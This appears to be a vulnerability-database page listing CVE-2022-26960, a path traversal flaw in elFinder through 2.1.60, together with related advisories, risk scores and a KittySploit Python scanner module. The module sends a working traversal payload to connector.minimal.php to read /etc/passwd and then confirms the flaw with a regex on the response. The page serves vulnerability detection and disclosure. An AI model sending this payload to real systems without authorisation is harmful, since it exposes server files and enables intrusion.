Lucene search
+L

elFinder <=2.1.60 - Local File Inclusion Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 6 Views

Unauthenticated remote attackers can perform LFI in elFinder via connector.minimal.php.

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2022-26960
21 Mar 202217:15
–attackerkb
circl
Circl
CVE-2022-26960
21 Mar 202219:26
–circl
cnnvd
CNNVD
elFinder 路径遍历漏洞
21 Mar 202200:00
–cnnvd
checkpoint_advisories
Check Point Advisories
Studio42 elFinder Directory Traversal (CVE-2022-26960)
21 Nov 202200:00
–checkpoint_advisories
cve
CVE
CVE-2022-26960
21 Mar 202216:52
–cve
cvelist
Cvelist
CVE-2022-26960
21 Mar 202216:52
–cvelist
github
Github Security Blog
Path Traversal in Studio-42 elFinder through 2.1.60
22 Mar 202200:00
–github
mend
Mend
CVE-2022-26960
21 Mar 202216:52
–mend
nuclei
Nuclei
elFinder <=2.1.60 - Local File Inclusion
15 Oct 202602:05
–nuclei
nvd
NVD
CVE-2022-26960
21 Mar 202217:15
–nvd
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""elFinder through 2."""

import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'elFinder <=2.1.60 - Local File Inclusion Detection',
        'description': 'elFinder through 2.1.60 is affected by local file inclusion via connector.minimal.php. This allows unauthenticated remote attackers to read, write, and browse files outside the configured document root. This is due to improper handling of absolute file paths.',
        'author': ['KittySploit Team'],
        'severity': 'critical',
        'tags': ['web', 'scanner', 'cve2022', 'cve', 'lfi', 'elfinder', 'std42', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'risk_signal',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [],
            },
        },
        'references': [
            'https://www.synacktiv.com/publications/elfinder-the-story-of-a-repwning.html',
            'https://github.com/Studio-42/elFinder/commit/3b758495538a448ac8830ee3559e7fb2c260c6db',
            'https://www.synacktiv.com/publications.html',
            'https://nvd.nist.gov/vuln/detail/CVE-2022-26960',
            'https://github.com/ARPSyndicate/kenzer-templates',
        ],
        'cve': 'CVE-2022-26960',
    }

    def run(self):
        path = '/elfinder/php/connector.minimal.php?cmd=file&target=l1_<@base64>/var/www/html/elfinder/files//..//..//..//..//..//../etc/passwd<@/base64>&download=1'
        r = self.http_request(method='GET', path=path, allow_redirects=False, headers={'Content-Type': 'application/x-www-form-urlencoded'})
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        body_regexes = ('root:.*:0:0:',)
        if any(re.search(rx, body) for rx in body_regexes):
            self.set_info(severity='critical', reason='elFinder <=2.1.60 - Local File Inclusion detected', path=path)
            return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Jul 2026 11:27Current
8.3High risk
Vulners AI Score8.3
CVSS 25.8
CVSS 3.19.1
EPSS0.50993
6